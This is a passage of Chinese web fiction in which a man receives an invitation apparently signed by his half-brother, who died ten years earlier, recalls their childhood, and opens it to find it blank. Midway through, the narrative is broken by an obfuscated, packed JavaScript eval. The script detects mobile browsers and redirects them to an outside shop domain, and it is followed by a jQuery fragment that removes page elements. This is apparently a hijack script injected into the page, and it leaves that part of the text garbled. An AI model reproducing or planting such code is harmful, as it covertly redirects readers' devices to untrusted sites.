我收到请柬时，是秋日正午。
飘着不值得撑伞的沥沥淅淅的雨。
“是，请您在这里签字、盖章，谢谢您的配合，祝您生活愉快。”
快递员机械重复着成百上千次的官话，他甚至懒得与我视线交流，双臂直挺挺递出、收回，等我对着印章哈气盖在他所指示的位置，他头深深低下去。
“打扰了。”
防盗门自动弹回，隔绝湿漉的雨。
请柬没名没字，掂着也不重，不像夹带东西，况且够厚不透光，就算对灯光也难猜里面东西，就是表面泛黄。
封面是很廉价的纸张和印花，感觉笔尖出油过多便能浸个透彻，街边卖五块一沓的东西里，署名却是最不应该出现的名字。
臧臧。
笔迹横平竖直，带着孩子般执拗。
我猛地合上请柬，夹在手中烟蒂裹挟余热滚落，烫过未穿鞋袜的脚背，激得我浑身哆嗦。
肯定眼花了。
十年前去世的人，怎么会发请柬？
/
请柬被我远远抛在矮桌，我瞪着其因运输变得异常柔软的四个角，颅内因短时间高压迸发耳鸣。
喧嚣声刺耳，我几次深呼吸。
未供暖的房间阴冷。
纵使不常用的半扇窗户用灰色厚胶带粘住，余下那边有风钻入。我披好大袄坐在围炉前，橘红色暖光映照指节的伤疤。即便臧臧看不见，当面对有他字迹的物件，我还是潜意识避开这里。
臧臧很怕这道疤痕。
他好几次拉起我的手放进他外套口袋，耸耸冻得通红鼻尖，笑着说可怕。
可能我面色不虞，他立马换成精致的可怕，偷偷瞧我嘴角有没有翘，没有还要换种形容词，天天胡搅蛮缠的小孩子，气得我发笑。
臧臧、臧臧、臧臧。
是不是我喊他名字的次数太多，所以下葬那天，同样是我抱着黑白方型相册木框，作为哥哥走在队伍最前列。
后面哭声滔天，我无半滴泪。
事发突然，肇事司机全责，对方很爽快承认自己全责，并当场赔付过失方总计352767.19元全部赔款。
这些钱轻而易举换掉臧臧的命。
“臧家大儿子真恨他弟弟，连装样子都不装，板着脸就膈应。”
“你以为呢，都不是一个妈生的。”
“你听说了吗？臧家爸想给小儿子安排婚事，也被他哥搅黄了，作孽！”
“那真该死，否则臧家就有后了。”
村落就是这样。
我带臧臧逃开五年，兜兜转转，又把他送回这里。他曾经跟我说，想跟我永远在一起，不要回小村庄，可等他母亲猩红双眼骂我瘟神、扫把星时，我以往后能为臧臧扫墓的条件，将他送回了这里。
所以，臧臧一定不开心。
他去世十年不肯来梦里见我半分。
现在却有封署名为他的请柬。
我深呼吸。
如鼓耳鸣减退些，秋风撞击玻璃发出的噼啪声隐约，纵使窗帘紧闭，我后背仍感觉一丝凉意。
收到已逝之人的物件，在老家那边视为不详，要倒大霉、交厄运，按照惯例是要将东西用火烧了，再埋进离家至少两公里开外的地里，免得鬼魂找上门来，冲撞容易受惊吓的子孙。
我没有孩子。
我孩子是臧臧。
我的臧臧去世了。
“别跟哥哥开玩笑。”
这种经历过濒死绝望，又忽然扔出条浮木，我胸腔不受控制地发闷，打开窗户透透气才勉强呼吸。
或许是时间胶囊？本来封存在邮局里，等到指定期限自动寄出，可这不像臧臧的作风，更何况那时的我们没有闲钱去做这些华而不实的娱乐。
名字而已，李泫，就这么狼狈？
我自嘲一笑，伸手拉过请柬，物件与桌面摩擦声细微，秋风吹得我耳痒。
纸张有年头，刚才没注意，现在细看边角都因长时间存放，周围泛起难以察觉的淡黄纹路。最中间有圈不起眼的圆，看样子之前应该有个装饰，只不过年数太久，又或者快递过程中掉了。
我与它僵持三分钟，还不敢打开。
如果是恶作剧，我承认臧臧赢。
请柬扉页
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14176245|150589||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
，署名：臧臧。
我如同自虐般，强迫自己认认真真用目光写完这十四画。
臧臧，臧臧。
他比我小三岁，读书时，镇上的初中与小学门对门，小学放学早，臧臧都会蹲在花坛边边等。后来门卫认识我们兄弟俩偷偷放臧臧进来，他就默默爬到三楼，躲在教室外面等我。直到我初三加了晚自习，臧臧这习惯才改罢。
那时，镇子上没有娱乐设施，臧臧也不爱跟那群野孩子疯，我只好告诉他写满一百个臧，哥哥就放学了。
臧臧可乖。
我说什么他听什么，小小草稿本全是臧臧，后面几页变成臧泫。奈何他控笔还不是很好，泫写着写着变成∑。
所以我一眼认出臧臧的字迹。
请柬是真的。
恶作剧的可能性排除了。
我拢了拢肩膀棉袄，盯住因岁月沉淀变得薄如蝉翼的纸，竟然腾起可笑退缩感。如果是臧臧生前留下的，那也是出车祸前，我们刚付完房子首付，他乐观算着公积金刚巧能覆盖贷款。
“我不喜欢老家，那里很不好。”
臧臧的世界里，不好就是最难听的骂人的话。
“这里是我跟哥哥的新家！”
十九岁的臧臧蹦跳，高举到半空的胳膊有点营养不良的细黄，刘海随跳跃轻飘飘扬高，略略下耷的眼角和他短短人中，外貌总比他实际年龄还要显小。
臧臧的长相随他生父，我相反。
新房子刚盖完，还没装修，灰土到处都是，走路幅度稍微大些都呛鼻。臧臧似乎感觉不到，他握着我的手兴奋满屋乱转，指着连廊阳台说摆满百合花。
臧臧，我们阳台还在。
但没有百合。
那里早摆满无数杂物，落满比装修前还要多的灰。
我深吸气。
闭上眼睛掀开，一瞬心擂如鼓。
“……”
最开始，我不相信自己的眼睛，直到里里外外翻看三遍，才怔怔放下手。
内页无字。
纸张略带霉味，淡淡的。
臧臧留给我的是一封空白柬。